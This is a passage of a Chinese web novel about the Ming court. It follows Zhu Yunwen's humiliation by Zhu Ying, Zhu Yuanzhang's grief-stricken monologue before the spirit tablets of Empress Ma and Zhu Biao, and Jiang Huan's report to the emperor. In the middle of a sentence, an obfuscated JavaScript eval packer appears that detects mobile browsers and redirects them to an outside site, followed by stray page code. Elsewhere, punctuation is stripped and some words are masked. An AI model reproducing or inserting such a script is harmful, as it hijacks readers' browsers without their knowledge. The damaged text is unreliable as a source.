这位皇太孙脸色青白交替,嘴唇翕动,却吐不出句子。他的眼神躲闪,寻求黄子澄和齐泰的帮助。 他又看向黄子澄与齐泰。 这两位东宫重臣,一个额角青筋暴起,另一个攥着拳头,指节发白。他们的经义文章、朝堂辩术,在朱煐面前,如同朽木。 最后,他的目光定格在朱煐身上。 风波的中心,却很平静。 蒋瓛目睹朱煐用三言两语,就将对方抛出的“仁德”、“孝悌”等帽子拨开,反手扣了回去。 他的话语,时而化作战刀,大开大合,劈得对方无法招架,只能后退。 时而,又变成绣针,从某个角度刺入,针针见血,挑拨他们的神经。 那份从容和气度,让蒋瓛袖中的手指蜷曲。 是兴奋。 一种押对宝的兴奋。 眼见朱允炆三人哑火,面色涨红,嘴巴紧闭,不敢再说一个字,生怕被朱煐揪出破绽,借题发挥,蒋瓛几乎要压抑不住情绪。 一丝笑意想爬上嘴角,又被他用自制力按了下去。 可他心底,却早已是畅快淋漓。 还得是中兴侯! 蒋瓛在心中发出一声近乎叹息的感慨。 这种人物,这种手段,根本不是朱允炆那种在深宫里读着圣贤书长大的孩子所能想象的。 朱煐的每一句话,都不是为了辩赢道理,而是为了摧毁对方的意志。 他的每一个眼神,都不是为了表达情绪,而是为了施加最沉重的压力。 这才是真正的上位者。 这才是能从尸山血海中杀出来的帝王心术。 陛下的眼光........ 蒋瓛的脑海中,浮现出那位雄踞天下、杀伐一生的老人。 他想起老朱在提及朱煐时,那双浑浊却依旧锐利的老眼中,所迸发出的光彩。 直到此刻,站在这里,亲眼见证了这一幕,蒋瓛才真正体会到那份看重背后所蕴含的深意。 陛下的眼光,一如既往地毒辣! 这等人物,这等心性,才配得上坐那个位置。 再看看朱允炆。 蒋瓛的目光重新投向那位进退维谷的皇太孙,眼神中最后一丝犹豫也消失殆尽,只剩下冰冷的评判。 允炆殿下,作为守成之君,或许不错。 他仁孝,他宽厚,他熟读经史。 可若是将他与中兴侯放在一起........ 蒋瓛无声地摇了摇头。 那不是皓月与萤火的区别。 那是雄鹰与雏鸡的差别,根本不具备任何可比性。 定力? 朱允炆早已方寸大乱,而朱煐自始至终气定神闲。 言语? 朱允炆词不达意,被逼到失语,而朱煐字字珠玑,杀人无形。 思维上,朱允炆想的是君子之争,朱煐用的却是人性弱点。能力上,更是高下立判。朱允炆在朱煐面前,显得稚嫩,不值一提。 这个认知,让蒋瓛再无杂念。他的选择已定。锦衣卫这把刀未来为谁出鞘,已是答案。 庭院中的空气仿佛凝固。 朱允炆的脸涨红,进退失据,道歉的话说不出口,强硬的话不敢说。他身后的黄子澄和齐泰垂着头,无地自容。 这场闹剧该收场了。再让皇太孙继续下去,对谁都无益。 蒋瓛不再迟疑。 他从廊柱的阴影中走出。脚步声很轻,却敲在每个人的心上。阳光落在他身上,照亮他没有表情的脸。 他走到朱允炆面前,躬身行礼。这个动作隔开了朱允炆与朱煐的对峙。 “允炆殿下。”蒋瓛开口,声音没有起伏,“既然中兴侯不接受道歉,此事便罢,你们请回?” 蒋瓛的声音不高,却刺破了死寂。 朱允炆耳廓发烫,那股烧灼感从脸颊一直蔓延到脖颈。 羞辱。 愤怒。 两种情绪在他胸膛里冲撞,却又在蒋瓛话音落下的瞬间,被一股突如其来的卸力感所取代。 他得救了。 这念头冒出来的一刻,朱允炆自己都感到一丝可悲。 他,大明的皇太孙,竟然需要一个锦衣卫指挥使来解围。 可现实就是如此。 他被困住了,像一头掉进陷阱的幼兽,周围全是虎视眈眈的眼睛。 走? 还是不走? 两个选择,两条路,通往的都是悬崖。 留下,朱煐那张嘴会把他撕得粉碎。这个念头刚一升起,朱允炆的胃里就一阵翻搅。他能感觉到朱煐的目光,那不是看一个皇太孙的目光,而是审视一个罪囚的目光,冰冷,锐利,不带任何温度。 自己这边已经溃不成军。 他眼角的余光瞥见黄师傅和齐大人,两位帝师,大明的肱股之臣,此刻脸色发白,嘴唇翕动,却一个字也说不出来。 他们不行,自己更不行。 朱允炆的认知无比清晰。 朱煐就是靠这张嘴吃饭的,御史台的疯狗,朝堂上的喷子。他的奏疏能让三品大员当场昏厥,他的廷辩能让六部尚书哑口无言。 连皇爷爷,那位开创了大明,杀伐果决的洪武大帝,都时常被他那些刁钻刻薄的言辞堵得半天说不出话。 自己这点道行,上去不过是自取其辱。 再纠缠下去,只会输得更惨,难堪得无以复加。 可就这么走了........ 这个念头让他心脏骤然一缩。 那是什么? 这是临阵脱逃。 他当着文武百官的面,被一个御史逼退。 他的威信与储君的颜面,在这一刻被踩进泥里。 朱允炆预见到明日早朝的景象。 大臣们会用怎样的眼神看他?他们会聚在角落交谈。 “听说了吗?太孙殿下被朱御史几句话就逼退了。” “储君之威,荡然无存。” 每一个字都扎进他的心里。 脸面丢尽。 这四个字压在他的脊梁上,让他喘不过气。 就在他进退维谷时,蒋瓛站了出来。 那句“时辰不早”,让他找到了出路。 朱允炆背脊一松。他抓住这个机会,顺着蒋瓛的话往下说。 他垂下眼帘,手指抚过前襟。指尖在颤抖。 他需要一个动作来掩盖自己。 “咳........” “咳咳........” 他清了清嗓子,喉咙发疼。声音沙哑,发颤,暴露了他的心绪。 “本来孤来,就只是为了调解。” 他放慢语速,开口说道。 “与朱御史之间,也并无冲突。” 他说这话时,视线从廊柱移到地砖,再到灯笼,始终避开朱煐。 他不敢看。 他怕一看到那双眼睛,自己就会崩溃。 他怕被对方抓住破绽,再次发难。 “既然朱御史不愿意调解,那........算了。” 最后几个字,他说得很快,想了结这个话题。 话音落下,他转向身侧。 “黄大人,齐大人,你们以为呢?” 他的目光落在黄子澄和齐泰的脸上,带着求助。 快,附和孤。 快,让我们离开这里。 黄子澄心脏一跳。 他读懂了朱允炆眼中的羞愤、无奈与恳求。 血冲上头顶。 他挺直腰板,脊椎发出一声响。 “我等不行强人所难之事!” 黄子澄的声音洪亮,扫去颓唐。 他抬起下巴,扫了朱煐一眼。那眼神像在说,不是我们怕你,而是不屑与你计较。 “朝中虽有误会,可道歉也倒了。” “我等,已然问心无愧。” 他一字一顿,想用这种态度挽回颜面。 第94章 疯狂的洪武大帝 偏殿。 夕阳透过窗格,在地面投下光影,浮尘在光柱中滚动。 殿内很静,只有木架上的灵位。 “这小子是有能耐的。” 一句话打破了殿内的寂静。 老朱背着手,站在殿中,目光望向前方,像在与人交谈。 他换下龙袍,穿着常服,没了皇帝的架子,此刻像个在和家人说话的老汉。 “当着那么多人的面,就敢站出来。” 老朱嘴角上扬,眼角有了皱纹。 不久前奉天殿上的一幕,他记得。 文武百官分列两侧,朝堂上没人出声。湖广的灾情压在每个人心头。户部尚书脸涨得通红,反复说国库没钱,话里都是难处。 就在那时,一道身影从队列中走了出来。 步子不急,也不缓。 身形看着单薄,脊梁却很直。 “说这湖广赈灾的粮款,他一人就能筹集出来。” 老朱的声音里带着赞许。 “还是从商贾手里。” 他咂了咂嘴。 他踱了两步,走到最前方,那里供奉着一个灵位。他伸出手,又停在半空,用指腹拂过灵位前的桌面。 “妹子,你也知道那些个商贾都是什么德行。” 他的声音放低,有了些亲近。 “一个两个的,全都是铁公鸡,不见兔子不撒鹰的主。” “咱当年起事的时候,为了那么几石粮食,跑了多少趟,你又不是不知道。那群人,恨不得一个铜板掰成八瓣花,想从他们口袋里掏钱,比登天还难。” “这小子倒好,真是初生牛犊不怕虎啊。” 老朱摇了摇头,脸上是欣赏。 “你是没看到,那满朝文武,所有人全都笑话咱大孙。” 他眼前又浮现出那些臣子的面孔。 有的掩着嘴,肩膀耸动。 有的交头接耳,投去不屑的眼神。 有的直接冷哼出声,当他在说胡话。 那些声音,那些眼神,都对着站在殿中央的那个身影。 “咱没笑话。” 老朱的语气沉了下来,眼神也变了。 “咱本来是想拦着他的。” 确实 ,在那一刻,他想的是护着。这孩子刚回来,根基不稳,怎能说这种大话?要是办不成,不就成了天下的笑话?他的威信,皇家的脸面,都要受影响。 可他的话到了嘴边,又咽了回去。 他看到了。 他看到了咱大孙的眼睛。 那双眼睛里,没有慌,没有逞能,只有镇定和把握。那是一种能成事的把握。 “可咱这转念一想,又改了主意。 老朱咧开嘴,露出一口牙。 是啊,改主意了。 雏鹰总要离巢,总要见风雨。温室里长不出大树,咱的孙儿,咱大明未来的继承人,怎么能是软蛋? 让他去闯! 让他去闹! 天塌下来,有咱这个老头子给他顶着! “咱大孙有本事啊。 老朱的声音里是骄傲,他终于伸出手,抚摸着那块刻着“孝慈高皇后的灵牌,动作很轻。 “朱煐,哦,就是雄英这孩子,他现在叫朱煐。 他像想起了什么,补充了一句。 “咱记得咱和你说过的 他的声音低了下去,有些出神。 是啊,雄英,那个他倾注心血,却被老天爷早早收走的孩子。 可现在,他又回来了。 以一个新名字,一种新面貌,重新站在了自己面前。 “咱大孙入朝以来,没人是他的对手啊。 老朱啧啧称奇,像在说别人的事。 “啧啧啧,他那张嘴啊,指定是不像咱。 “咱可没有这么好的口才。 他笑了笑,眼神里是回忆。 “咱看他那张嘴像妹子你。 “咱就记得当年咱每次和你吵架,都吵不过你。 过去的画面涌上心头。 他仿佛又看到了那个扎着头巾,叉着腰,用话把他堵得说不出声的姑娘。 那时候,日子苦啊。 可心里,却是满的。 “现在说又说不过咱大孙,嘿,他指定是像你的嘞。 老朱的笑声在殿内回响,带着几分得意,几分释然。 “一点也不像标儿,标儿的嘴比咱还笨。 提到这个名字, 他脸上的笑容僵住。 他沉默片刻转过身目光落在皇后灵位旁边的另一个灵牌上。 说着老朱一把捞起一旁的朱标的令牌动作粗鲁不像刚才抚摸妻子灵位时那般。 他把朱标的灵牌放到马皇后旁边。 两个木牌并排立着。 一家人以这种方式“团聚”了。 老朱盯着那个刻着“懿文太子”的灵牌。 “标儿啊 他的声音低了下去从胸膛里挤出来。 “你这也是的走的这么仓促。” 他伸出手指点了点那木牌。 “你要是晚点走啊也就见到雄英这孩子了.” 话语里是遗憾。 你若是能再撑一撑哪怕只是一年半载你就能亲眼看到你的儿子那个你以为已经失去的儿子是何等的风华绝代。 你就能知道咱老朱家后继有人! 这喜事你却偏偏错过了。 一股火气混着悲伤从老朱心底窜上来。 “你活该!” 他低吼一声声音嘶哑。 “咱培养了你这么多年你这也不管好自己的身子走这么早。” 他的手指戳着灵牌仿佛要将自己的不甘与愤怒都倾注进去。 那些年他手把手教他批阅奏折带他熟悉朝堂将自己的心血与期望都灌输给他。 他为他铺平了路扫清了障碍。 他只等着自己百年之后这个儿子能接下这个帝国。 可他呢? 他竟然就这么走了! 把江山把未来把一个老父亲就这么扔下了。 “现在傻了吧?” 老朱的嘴角咧开像笑又像哭。 “咱看到了咱大孙你没看到你儿子。” 这话从一个帝王的口中说出透着悲凉。 像一个在赌气的孩子用最幼稚的方式向一个不会回应的人宣泄着自己的痛楚。 你看啊标儿。 你没能见到的儿子咱见到了。 你没能享受到的天伦之乐咱替你享了。 你后悔吗? 你后悔就这么 早早地撒手人寰吗? 老朱笑着,笑着,那笑声在大殿里回荡。 笑着笑着,眼角落下了两行眼泪 “哦对了,咱刚刚说到哪儿了? 老朱的声音干涩,在奉先殿里带起一点回音。 他眨了眨眼,视线在殿内游移一圈,落回了手中的牌位上。 指腹划过刻字,能感受到每一个笔画的凹陷。 他眼底这才亮起一丝光。 老朱又抓起马皇后的牌位,用自己的袖口,擦拭着表面。 “对对对,还是妹子你记性好,咱刚刚说到了满朝文武全都针对咱大孙啊。 他咧开嘴,却没有笑意,仿佛在跟人分享着什么秘密。 “你也知道的,那些个家伙,嘴巴一个比一个厉害,本事么没有什么本事。 老朱的语气里是鄙夷,眼里闪过一丝锐利。 “一个个引经据典,子曰诗云,说得天花乱坠,唾沫星子都能淹**。**雄英的奏章,摞起来比咱的御案都高了。 “说咱大孙行事乖张,不尊祖制,不敬师长,是个祸乱朝纲的源头。 他哼了一声,充满了不屑。 “咱本来想拦着的,可咱转念一想啊,不行,这回咱不能就这么拦着。 老朱把牌位捧到眼前,凑得很近,压低了声音。 “咱担心雄英这孩子啊,他入朝之后太顺了。 “从他监国到现在,底下的人哪个不是看咱的面子?哪个敢真刀**地跟他碰一碰?这不行。温室里长不出能遮风挡雨的苍天大树。 “咱得让他知道知道教训,让他明白这朝堂上的事情的不能开玩笑,尤其是这百姓,更不能拿来开玩笑。 “那些个酸儒,就让他们去闹,去骂,去攻讦。咱倒要看看,咱的大孙,能不能在这风浪里站稳了脚跟。能不能让那些只会耍嘴皮子的家伙,全都闭上嘴。 他絮絮叨叨地说着,声音在大殿里是多么的孤单。 他顿了顿,语气忽然变了,带着一丝亲昵。 “妹子你也同意咱说的吧? “记得刚建国那会儿你说的,让咱一定要当个好皇帝,一定要记住地里刨食的百姓。 他的思绪飘远了,眼前不再是牌 位而是那张脸。 那是在应天府的皇宫里窗外百废待兴她正就着烛火为他缝补常服。 她抬起头眼睛里映着烛光对他说重八咱们是从尸山血海里爬出来的是从饿殍遍地里活下来的。你当了皇帝不能忘了那些还在地里刨食连一口饱饭都吃不上的穷苦人。 “当年咱就是吃不饱饭**的不能咱当上了皇帝还让百姓吃不饱饭那咱这皇帝就白当了。” 老朱的声音里带上了笑意他重复着记忆里的话仿佛是在替她回答。 “哈哈哈哈是你告诉咱的吧?你指定是忘了就说你的记性没有咱好。” 他扬了扬下巴。 “诶?你记得?不不不你指定是记不得肯定是刚刚咱说了之后你想起来了妹子咱还不了解你吗?你就别装了。” 他自顾自地进行着对话脸上的皱纹都舒展开来。 “嘿嘿你是不是很气?那你来打咱啊咱不还手来啊打咱啊!” 他侧过脸将脸颊凑近了牌位闭上眼睛。 殿内只有烛火在燃烧。 没有嗔怪也没有手拍在他的脸上。 “打不到吧?” 老朱笑着声音却开始发颤。 笑着笑着那笑声就变成了哽咽。 他睁开眼眼前一片模糊。 液体从他眼眶中涌出滑落下来 老朱笑着笑着又哭了。 他紧紧抱着怀里的牌位整个身躯都在颤抖。 他只是一个失去了挚爱的老人。 过了一阵老朱的情绪才平复下来。 殿内的寂静重新占据了一切哭声消散只剩下喘息。 他看着面前的牌位好久没有说话。 那双眼睛此刻只剩下空洞和哀伤。 又过了一会儿老朱看着马皇后的牌位叹了口气。 那一口气仿佛要将胸中的力气都吐出来。 “算了你不起来打咱过些年咱下去找你。” 他的声音沙哑带着疲惫。 “本来标儿走了咱就也想走了只是这么大的大明咱放不下啊这天下是我们打下来的咱得看好了。这么 多的百姓咱得照顾好了,还有老二,老三,老四,一个都不让人省心。” 他伸出另一只手,抚过旁边另一块牌位,那是懿文太子朱标。 他的手指在木头上停顿了许久,指尖发颤。 “标儿太仁厚,像你。可这世道,太仁厚了要吃亏。咱还没来得及把他教得更狠一点,他就” 话语中断。 他收回手,目光落回马皇后的牌位上,眼底的疲惫更深了。 “还是雄英这孩子好啊。” 提到孙儿,他眼神里才又泛起一点光。 “这孩子,像咱,也像标儿。有咱的狠劲,也有标儿的仁心。咱把这天下交给他,咱放心。” 他喃喃自语。 “诶对了,咱又忘了,刚刚说到哪儿了?” 老朱的思绪被打断,他抬起头,看着面前的马皇后的牌位,眼中是困惑。 他等着。 房间里,回应老朱的只有寂静。 偏殿之内,檀香袅袅,烛火摇曳,映照着一排排牌位。 片刻之后,老朱眼珠一瞪,视线钉在了朱标的牌位上。 “咱用你说?” “咱问你娘呢,大人说话,小孩儿别插嘴!” 一声怒喝,撕裂了殿内的寂静。声音在殿宇间回荡。 他仿佛又回到了那个午后,一个父亲正在训斥太子。 “咱能不知道咱刚刚说到了要锻炼咱大孙?咱就是考考你娘记性好不好,你个臭小子还敢跟咱抢话头了!” 老朱吹胡子瞪眼,对着那块紫檀木牌位训斥。 他手指摩挲着牌位上的刻字,那力道,像是要把体温透过木头,传给另一个世界的儿子。 偏殿里再无旁人,只有他的声音一遍遍响起,试图填满这里。 “咱当时就琢磨,咱那大孙,生下来就在蜜罐里泡大,在朝堂上顺风顺水,谁敢给他钉子碰?” “这不行!” “咱朱家的种,大明的储君,咋能当温室里的花朵?咱得给他上强度,得让他知道天下的事有多难!” 他的声音沉了下来,有后怕,也有庆幸。 “这天下百姓的性命,不是儿戏,开不得玩笑。咱得让大孙去撞南墙,让他刻在骨子里明白,百姓的 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453744|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 事,一个承诺,就是一座山! “不能就这么张嘴,轻易许诺。 他顿了顿,嘴角咧开。 “咱那会儿连后路都想好了。咱想着,让大孙自个儿去扑腾,去商贾那儿筹钱。咱呢,就在后头给他托底,把银子备好。 “他要是没筹到,碰一鼻子灰,碰得头破血流,诶,那正好! “咱就站出来,当着满朝文武的面,给他撑腰!告诉所有人,他朱允炆办不成的事,有咱这个爷爷兜着!咱大明的皇帝,一口唾沫一个钉,说出去的话,就是泼出去的水,咱认! 他越说越兴奋,拍了一下大腿,发出“啪的一声。 “咱这个想法,不错吧? 他侧过头,将目光投向朱标牌位旁,他妻子的牌位,声音放轻。 “哈哈哈哈。妹子,你也觉得不错吧?你再夸咱两句?咱就爱听你夸咱。 老朱放声大笑,笑声在殿梁上盘旋,却驱不散眼底涌上的水汽。 他抬起衣袖,在脸上抹了一把,擦去泪水,声音里带着鼻音,继续道: “可后来咱大孙做了什么,你指定是猜不到了。 “哈哈哈,妹子你也好奇吧?这事儿啊,别说你,你指定猜不到,连咱都猜不到! 他的眼中爆发出光亮。 “这小子,咱的乖孙,他还真就从那帮铁公鸡手里,把钱给生生抠出来了! “他接下差事的第二天,就一个人跑进宫来找咱了。 “咱当时心里咯噔一下,想着这小子是不是碰壁了,这么快就来找咱帮忙?咱还盘算着,该怎么安慰他,怎么给他兜底。 “结果你猜,咱大孙干了啥? 老朱一拍案几,烛火跟着一跳。 “他给咱带来了三十六万两银子! 他的声音拔高,每个字都像从胸膛里炸出来。 “没错!三十六万两!谁能想到?谁敢想!咱大孙,一天时间,就从那群商贾手里,弄到了三十六万两湖广赈灾的粮款! “啧啧啧 老朱咂摸着嘴。 “这小子,有本事!是咱老朱家的种! 他站起身,在殿内来回踱步,龙袍在身后拖着。 “之后!这事 还没完!” “几天的功夫,他又从那帮商贾手里,给咱弄来了四百二十七万两银子!” “四百二十七万两!” 老朱伸出四根手指,又比划了一个二,一个七,要把这个数字刻在空气里。 “没错,妹子,你没有听错!咱也没有说错!是整整四百二十七万两,只多不少!” 他的呼吸粗重,双颊因为激动而泛红。 “这这要是再加上先头的那三十六万两,可就是.四百六十三万两银子了!” 这个数字从他口中说出,连他自己都再次感到了震撼。 他停下脚步,目光再次投向妻子的牌位,脸上露出一个促狭的笑容,故意压低了声音,用一种分享秘密的口吻说道。 “什么?你说这数目,快占了咱大明税赋的一半了?” 他仿佛真的听到了妻子的惊呼,那双饱经风霜的眼睛里,满是笑意。 “哈哈哈,妹子,你那是老黄历啦!” “现在咱大明,国库充盈,一年税赋,稳稳当当可有两千万两嘞!” “咱大明,在你和标儿走后,没有变差,反倒是越来越好了!” 老朱挺直了腰杆,一股睥睨天下的豪气油然而生。 他既是为孙儿的成就而骄傲,也是为自己亲手打造的这个煌煌大明而自豪。 老朱大笑。 “不过雄英这孩子这么有本事,是咱没想到的。” 他的声音在偏殿里回响,沙哑,但透着得意。 “四百六十三万两啊.” 老朱伸出手指,在空中比划了一下。 “都顶上大明一年税赋的一小半了。” 他咧开嘴笑了,脸上的皱纹挤作一团。 “你说咱之前瞎操什么心啊。” 老朱自言自语,又像是在跟谁炫耀。 “你是不知道,咱今天早上,天都还没亮呢,就被蒋瓛那家伙从床上喊醒了!” “说咱大孙,咱的雄英,带着几百万两银子,把整个户部衙门都给堵了!” “咱当时听到的时候,咱人都傻了!” 他一拍大腿,发出“啪”的一声,惊起角落的尘埃。 “有本事吧?” 老朱的声音扬了起来 。 “雄英这孩子啊太有本事了比咱标儿还有能耐呢!” 话音刚落他的目光转向身侧。 那里立着一块灵牌。 朱标。 老朱脸上的笑意没了面部肌肉绷紧。 他一把抓过那块木牌指节泛白。 “你个不争气的玩意儿!” 他对着牌位压着嗓子。 “你听见了没有!” “你以为你走了咱就找不到更好的人当皇帝了?” “你听听咱大孙!你儿子咱的雄英是不是比你还有本事?” 老朱的声音在抖。 “后悔了吧?后悔走早了吧?” 他将牌位凑到眼前脸几乎贴着木牌一个字一个字地低吼。 “你就等着吧等你儿子当上了皇帝到时候千古留名的时候你连名字都能让人给忘了!” “到时候大家会说什么?” 老朱顿了顿自己给出答案语气里是报复的快感。 “大家会说啊那是雄英的爹。” “是咱朱重八的儿子。” “至于你的名字?朱标?那谁记得?” “也就你爹我和你娘记得了!” 说到最后一句他的声音哽住怒火成了委屈和悲凉。 “简直混账!” 他一拳砸在地上骨节生疼。 “咱都还没见咱妹子呢你先跑去见你娘了!” 老朱时而暴怒时而大哭时而又笑。 偏殿里只剩下他的喘息和呜咽。 许久。 夕阳沉入地平线殿内光亮被黑暗吞没。 角落里一盏烛火摇曳将他佝偻的身影投在墙上拉长变形。 老朱独自坐在地上左手是朱标的灵牌右手不知何时又多了一个。 马皇后。 他用指腹一遍遍摩挲牌位上的刻字动作很轻像在触摸珍宝。 殿内一片死寂。 沉默了一阵老朱又开口了声音没了棱角和戾气 “妹子咱想你啊。” 一声叹息道尽了千言万语。 “不过咱现在不能去找你。” 第95章 老朱托孤 天黑透了。 宫墙外传来更鼓声,穿过殿宇,声音只剩下余音。 “陛下。” 廊柱的阴影里走出一个人,是锦衣卫指挥使蒋瓛。 他已在此处候了一个时辰。夜风吹动飞鱼服的衣角,他人不动。 长廊尽头,朱元璋的身影转出。蒋瓛立刻躬身,将头埋下。 朱元璋的脚步声很重,踩在宫砖上,一步一声回音。他刚下朝会,肩背有些塌陷,但眼里的光没有散。 他没有停步,也没看蒋瓛。 “走吧,进来回话。” 声音不高,带着沙哑,是议政过久的痕迹。 “遵旨。” 蒋瓛应声,起身跟上。 朱元璋推开御书房的两扇木门。 门轴转动,发出“吱嘎”声,屋内的墨香、檀香和烛火气味扑面而来。 蒋瓛跟进去,官靴落地无声。他像一道影子,融入御书房。 他反手将门带上。 “咔哒。” 门闩落下,隔绝了外界。 御书房内,数十支烛燃烧,照亮了空间。 风从门缝透进来,烛火摇动,地板上的两个人影也跟着晃动、交叠。 角落的铜炉里,苏合香升起烟。 朱元璋没看他。 他走向御案。 案上,奏章堆积成摞。 奏章已经过内侍分拣,按军、政、吏、户、礼、工,门类分好。 最上面一本,朱红封皮,墨写着“北平军务急报”六个字。 旁边是户部呈上的秋粮入库总录,蝇头小楷记录着各州府的赋税数目。 朱元璋伸出手掌,在那本军务急报上抚过,指尖冰凉。 他坐下来,身体陷入龙椅,发出一声低叹。 蒋瓛垂手站着,一动不动,连呼吸都放缓了。 他知道,皇帝开口前需要静默。 只有烛火的噼啪声。 终于,朱元璋抬眼。 他的目光落在蒋瓛脸上,没有言语,就那么看着。 蒋瓛的头垂得更低。 他后心沁出冷汗,却已习惯。 他不等皇帝发问,打破了沉默。 “陛下。” 他的声音很低。 “臣,遵陛下旨意,去往长孙殿下府邸,提前为殿下摆上了庆功宴。” 蒋瓛语速不快,字字掂量。 “殿下……很高兴。” 他顿了顿。 朱元璋面无表情,但放在案几上的手指动了一下。 “臣抵达时,殿下府上张灯结彩,下人来往奔忙,脸上都挂着笑。” “臣见到殿下时,他正站在院中指挥仆役。殿下挽着袖子,额角有汗,只顾着调整一盏琉璃灯笼,口中还哼着江南小调。” 朱元璋的嘴角松动了些。 他仿佛看见了孙儿朱煐在府中忙碌的身影。 蒋瓛继续说。 “宴席上,是殿下爱吃的江南菜,西湖醋鱼、龙井虾仁、东坡肉……臣也遵旨,带去了两坛‘秋露白’。” “殿下见到那些菜,眼睛都亮了。他夹起一块醋鱼,尝了一口,便说‘就是这个味儿,就是这个味儿’。” “他拉着臣,说这都是皇爷爷的恩典,说他一定不会辜负皇爷爷的期望。” 朱元璋嘴角扬了起来。 他靠向椅背,身体松弛下来。 笃。 笃。 笃。 他的手指在案几上敲击着。 这天下是咱的。这子民是咱的。到头来,都要留给姓朱的小崽子们。只要他们高兴,咱这把老骨头再累些,又算什么。 蒋瓛看着皇帝的神情,心中微定。 他顿了顿,转了话锋。 “席间,殿下喝了几杯,话也多了,与臣说了些军中见闻。” “臣见天色已晚,便起身告辞。” 蒋瓛的声音低了一分。一个停顿,御书房里的空气变了。 朱元璋敲击桌面的手指停下。 他抬眼,目光射向蒋瓛。 蒋瓛背上一紧,面上没有表情,继续说道: “不过在臣要走的时候遇到了燕王和允炆殿下。” 蒋瓛的声音不大,每个字都让朱元璋听了进去。 听到“中兴侯极为欣喜”,朱元璋脸上的线条松弛下来。 他眼角的皱纹展开,有了笑意,头跟着蒋瓛的叙述,一下下地点动。 他松了口气。 这场庆功宴是他安排的。 在百官面前他是洪武大帝。 朝会进行到一半他给了蒋瓛一个眼神示意他离场。 没有旨意没有敕令只是他们君臣间的默契。 他要给他的大孙一个惊喜一份只属于祖孙的情分。 他亲自过问御膳房的菜单点了几样朱煐幼时爱吃的点心如今宫中已少有人提。 他让蒋瓛带了去。 此刻听到朱煐的反应朱元璋胸中一口气舒了出来。 他亏欠这个长孙太多。 他身为天子在给孙子一份关爱时也怕做错了事。 还好大孙领情了。 蒋瓛接下来的话让御书房内的空气变冷。 朱元璋脸上的笑容没了。 他手中蘸着朱砂的笔悬在半空。 他皱起眉头。 笔尖一抖一滴朱砂落在漕运的奏章上洇开像血。 “你说什么?” 朱元璋的声音沉了下去。 “老四和允炆去了咱大孙的府上?” “他们去做什么?” “也是恭贺?” 他一连三问。 他抬眼盯着蒋瓛。 他了解自己的儿子和孙子。 老四朱棣封在北平骨子里不甘。 皇太孙朱允炆文官簇拥着性子软但有了自己的主意。 这两个人这时候出现在朱煐的府邸不会只是道贺。 蒋瓛的头垂得更低。 他点了点头用平稳的语调禀报自己所见所闻。 “回陛下燕王殿下是去恭贺的。” “不过 “臣看中兴侯对燕王殿下也有戒备。” “所以燕王没有久待说了几句话便告辞了。” 蒋瓛顿了顿补充道。 “臣在远处看见燕王在府门外没有立刻上马。” “他站了一会儿抬头看了‘中兴侯府’的牌匾才翻身上马。” “走时他又回头望了一眼神色……臣说不好。” 朱元璋没有做声手指在御案上敲击着发 出“笃、笃”的声响。 他想着那个画面。 老四……这个儿子,心思深。 “允炆呢?”朱元璋的声音没有起伏。 蒋瓛接话道: “允炆殿下是与翰林院侍讲学士黄子澄、兵部主事齐泰,一起去的。” “允炆殿下说,听闻黄、齐两位大人与中兴侯有些误会,特地带他们上门,想要化解干戈,替两位大人与中兴侯和解。” 说到这里,蒋瓛的嘴角似乎牵动了一下,但瞬间又恢复了恭敬。 “只是,中兴侯并未答应。” “殿下的面子,算是被当场驳了回来。” “当时在场的还有几位功勋武将,都在一旁看着,窃窃私语。允炆殿下的脸色……很是难看。” “最后,连句告辞的话都没说,便拂袖而去了。” “啧。” 一声轻蔑的咂嘴声,在寂静的御书房里格外清晰。 “啧啧啧……” 老朱忽然笑了,只是那笑意未达眼底,反而让烛火下的面容显得愈发森冷。 “道歉?” “和解?” “蒋瓛,你跟咱玩什么文字游戏?” “咱这双眼睛还没瞎,这脑子也还没糊涂!” “咱能不知道黄子澄和齐泰那些个酸腐文官,是他允炆的人?” 话音未落,老朱将手中的朱笔重重往笔洗里一顿! “砰!” 一声闷响,笔杆撞在瓷壁上,惊得案几上的烛火都剧烈地跳动了一下。 几滴朱砂墨汁溅出,落在龙袍袖口上,如同血点。 “陛下英明。” 蒋瓛笑了,身子前倾。 “臣就知道,这点把戏,瞒不过陛下的眼睛。” 他知道瞒不过。 方才的禀报,是顺着皇帝的心意将戏唱完。 皇帝想听的是事情的经过,不是他的判断。 至于结论,皇帝心中有数。 御书房内再次沉寂。 老朱靠着龙椅,手指摩挲着袖口的墨迹。 良久,他开了口。 “行了。” “不用管他们。” 老朱摆了摆手。 “允炆也好, 老四也罢由着他们去折腾。” 他看向窗外。 “用允炆去历练历练咱大孙也是好的。” “这朝堂上若是没几个对手一辈子顺遂如何成长?” 老朱嘴角勾起一个弧度。 “咱的大孙将来要坐的是这个位子。” 他拍了拍身下的龙椅。 “这把椅子光靠咱扶上去是坐不稳的。” “得让他自己把所有觊觎这把椅子的人全都打服了打怕了他才能坐得安稳。” 老朱考虑得很周到。 这盘棋他要亲自下。 他的两个孙子朱煐和朱允炆都是棋子。 御书房的门合拢隔绝了外界只剩下烛火燃烧的哔剥声。 他起身。 龙袍下摆扫过金砖地面没有声响。 他在御书房内踱步一步又一步沉稳而有韵律。 烛台将他的身影投射在背后的《大明舆地全图》上。影子很高覆盖了舆图上的山川河流随着他的移动而变换彰显着这位主宰的权威。 此刻这位主宰的心思却不在舆图上。 也不在那些关系军民生计的奏报上。 他考虑的是大明的未来。 是他那个流落在外刚寻回的皇孙。 朱煐。 这个名字在心底默念一遍他那颗被朝政磨硬的心便泛起波澜。 那孩子展露出的能力超出了他的预期。 无论是组织流民还是应对官吏都显现出一种**直觉。 这是一个继承人胚子。 可现在对于这个继承人老朱担心的有两点。 第一点最让他不安。 朱煐流落在外十八年。 他还认不认自己这个爷爷? 他还愿不愿意坐上这张龙椅? 这个问题很重。 他停下脚步手指摩挲着腰间一枚玉佩上面的麒麟纹路已被磨平。 在外多年自己“皇帝”的名声他清楚。 暴戾、多疑、杀戮。 这些词通过密探的奏报 他曾不屑一顾。 